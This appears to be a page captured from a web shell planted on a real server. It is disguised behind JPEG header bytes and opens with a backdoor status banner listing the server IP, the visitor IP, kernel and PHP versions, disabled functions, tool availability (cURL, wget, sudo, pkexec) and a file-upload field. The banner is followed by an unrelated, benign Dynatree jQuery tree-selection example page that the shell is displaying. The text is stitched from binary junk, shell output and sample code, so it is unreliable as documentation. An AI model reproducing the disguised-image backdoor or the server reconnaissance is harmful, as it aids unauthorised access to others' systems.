����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.225.54.37 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/admin/assets/plugins/dynatree/doc/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"> <title>Dynatree - Example</title> <script src="../jquery/jquery.js" type="text/javascript"></script> <script src="../jquery/jquery-ui.custom.js" type="text/javascript"></script> <script src="../jquery/jquery.cookie.js" type="text/javascript"></script> <link href="../src/skin/ui.dynatree.css" rel="stylesheet" type="text/css" id="skinSheet"> <script src="../src/jquery.dynatree.js" type="text/javascript"></script> <!-- Start_Exclude: This block is not part of the sample code --> <link href="prettify.css" rel="stylesheet"> <script src="prettify.js" type="text/javascript"></script> <link href="sample.css" rel="stylesheet" type="text/css"> <script src="sample.js" type="text/javascript"></script> <!-- End_Exclude --> <script type="text/javascript"> var treeData = [ {title: "item1 with key and tooltip", tooltip: "Look, a tool tip!" }, {title: "item2: selected on init", select: true }, {title: "Folder", isFolder: true, key: "id3", children: [ {title: "Sub-item 3.1", children: [ {title: "Sub-item 3.1.1", key: "id3.1.1" }, {title: "Sub-item 3.1.2", key: "id3.1.2" } ] }, {title: "Sub-item 3.2", children: [ {title: "Sub-item 3.2.1", key: "id3.2.1" }, {title: "Sub-item 3.2.2", key: "id3.2.2" } ] } ] }, {title: "Document with some children (expanded on init)", key: "id4", expand: true, children: [ {title: "Sub-item 4.1 (active on init)", activate: true, children: [ {title: "Sub-item 4.1.1", key: "id4.1.1" }, {title: "Sub-item 4.1.2", key: "id4.1.2" } ] }, {title: "Sub-item 4.2 (selected on init)", select: true, children: [ {title: "Sub-item 4.2.1", key: "id4.2.1" }, {title: "Sub-item 4.2.2", key: "id4.2.2" } ] }, {title: "Sub-item 4.3 (hideCheckbox)", hideCheckbox: true }, {title: "Sub-item 4.4 (unselectable)", unselectable: true } ] } ]; $(function(){ // --- Initialize sample trees $("#tree1").dynatree({ checkbox: true, // Override class name for checkbox icon: classNames: {checkbox: "dynatree-radio"}, selectMode: 1, children: treeData, onActivate: function(node) { $("#echoActive1").text(node.data.title); }, onSelect: function(select, node) { // Display list of selected nodes var s = node.tree.getSelectedNodes().join(", "); $("#echoSelection1").text(s); }, onDblClick: function(node, event) { node.toggleSelect(); }, onKeydown: function(node, event) { if( event.which == 32 ) { node.toggleSelect(); return false; } }, // The following options are only required, if we have more than one tree on one page: // initId: "treeData", cookieId: "dynatree-Cb1", idPrefix: "dynatree-Cb1-" }); $("#tree2").dynatree({ checkbox: true, selectMode: 2, children: treeData, onSelect: function(select, node) { // Display list of selected nodes var selNodes = node.tree.getSelectedNodes(); // convert to title/key array var selKeys = $.map(selNodes, function(node){ return "[" + node.data.key + "]: '" + node.data.title + "'"; }); $("#echoSelection2").text(selKeys.join(", ")); }, onClick: function(node, event) { // We should not toggle, if target was "checkbox", because this // would result in double-toggle (i.e. no toggle) if( node.getEventTargetType(event) == "title" ) node.toggleSelect(); }, onKeydown: function(node, event) { if( event.which == 32 ) { node.toggleSelect(); return false; } }, // The following options are only required, if we have more than one tree on one page: cookieId: "dynatree-Cb2", idPrefix: "dynatree-Cb2-" }); $("#tree3").dynatree({ checkbox: true, selectMode: 3, children: treeData, onSelect: function(select, node) { // Get a list of all selected nodes, and convert to a key array: var selKeys = $.map(node.tree.getSelectedNodes(), function(node){ return node.data.key; }); $("#echoSelection3").text(selKeys.join(", ")); // Get a list of all selected TOP nodes var selRootNodes = node.tree.getSelectedNodes(true); // ... and convert to a key array: var selRootKeys = $.map(selRootNodes, function(node){ return node.data.key; }); $("#echoSelectionRootKeys3").text(selRootKeys.join(", ")); $("#echoSelectionRoots3").text(selRootNodes.join(", ")); }, onDblClick: function(node, event) { node.toggleSelect(); }, onKeydown: function(node, event) { if( event.which == 32 ) { node.toggleSelect(); return false; } }, // The following options are only required, if we have more than one tree on one page: // initId: "treeData", cookieId: "dynatree-Cb3", idPrefix: "dynatree-Cb3-" }); $("#tree4").dynatree({ checkbox: false, selectMode: 2, children: treeData, onQuerySelect: function(select, node) { if( node.data.isFolder ) return false; }, onSelect: function(select, node) { // Display list of selected nodes var selNodes = node.tree.getSelectedNodes(); // convert to title/key array var selKeys = $.map(selNodes, function(node){ return "[" + node.data.key + "]: '" + node.data.title + "'"; }); $("#echoSelection4").text(selKeys.join(", ")); }, onClick: function(node, event) { if( ! node.data.isFolder ) node.toggleSelect(); }, onDblClick: function(node, event) { node.toggleExpand(); }, onKeydown: function(node, event) { if( event.which == 32 ) { node.toggleSelect(); return false; } }, // The following options are only required, if we have more than one tree on one page: // initId: "treeData", cookieId: "dynatree-Cb4", idPrefix: "dynatree-Cb4-" }); $("#btnToggleSelect").click(function(){ $("#tree2").dynatree("getRoot").visit(function(node){ node.toggleSelect(); }); return false; }); $("#btnDeselectAll").click(function(){ $("#tree2").dynatree("getRoot").visit(function(node){ node.select(false); }); return false; }); $("#btnSelectAll").click(function(){ $("#tree2").dynatree("getRoot").visit(function(node){ node.select(true); }); return false; }); <!-- Start_Exclude: This block is not part of the sample code --> $("#skinCombo") .val(0) // set state to prevent caching .change(function(){ var href = "../src/" + $(this).val() + "/ui.dynatree.css" + "?reload=" + new Date().getTime(); $("#skinSheet").attr("href", href); }); <!-- End_Exclude --> }); </script> </head> <body class="example"> <h1>Example: Selection and checkbox</h1> <!-- Tree #1 --> <p class="description"> This tree has <b>checkoxes and selectMode 1 (single-selection)</b> enabled.<br> A double-click handler selects a <i>document</i> node (not folders).<br> A keydown handler selects on [space].<br> The <code>checkbox</code> class name was customized, to display radio buttons.<br> Note: the initialization data contains multiple selected nodes. This is considered bad input data and <b>not</b> fixed automatically (only on the first click). </p> <div> Skin: <select id="skinCombo" size="1"> <option value="skin">Standard ('/skin/')</option> <option value="skin-vista">Vista ('/skin-vista/')</option> </select> </div> <div id="tree1"></div> <div>Active node: <span id="echoActive1">-</span></div> <div>Selection: <span id="echoSelection1">-</span></div> <!-- Tree #2 --> <p class="description"> This tree has <b>selectMode 2 (multi-selection)</b> enabled.<br> A single-click handler selects the node.<br> A keydown handler selects on [space]. </p> <p> <a href="#" id="btnSelectAll">Select all</a> - <a href="#" id="btnDeselectAll">Deselect all</a> - <a href="#" id="btnToggleSelect">Toggle select</a> </p> <div id="tree2"></div> <div>Selected keys: <span id="echoSelection2">-</span></div> <!-- Tree #3 --> <p class="description"> This tree has <b>checkoxes and selectMode 3 (hierarchical multi-selection)</b> enabled.<br> A double-click handler selects the node.<br> A keydown handler selects on [space]. </p> <div id="tree3"></div> <div>Selected keys: <span id="echoSelection3">-</span></div> <div>Selected root keys: <span id="echoSelectionRootKeys3">-</span></div> <div>Selected root nodes: <span id="echoSelectionRoots3">-</span></div> <!-- Tree #4 --> <p class="description"> This tree has selectMode 2 (multi-selection) enabled, but <b>no checkboxes</b>.<br> A single-click handler selects the node.<br> A keydown handler selects on [space].<br> A double-click handler expands documents.<br> A onQuerySelect handler prevents selection of folders. </p> <div id="tree4"></div> <div>Selected keys: <span id="echoSelection4">-</span></div> <!-- Start_Exclude: This block is not part of the sample code --> <hr> <p class="sample-links no_code"> <a class="hideInsideFS" href="http://dynatree.googlecode.com">jquery.dynatree.js project home</a> <a class="hideOutsideFS" href="#">Link to this page</a> <a class="hideInsideFS" href="samples.html">Example Browser</a> <a href="#" id="codeExample">View source code</a> </p> <pre id="sourceCode" class="prettyprint" style="display:none"></pre> <!-- End_Exclude --> </body> </html>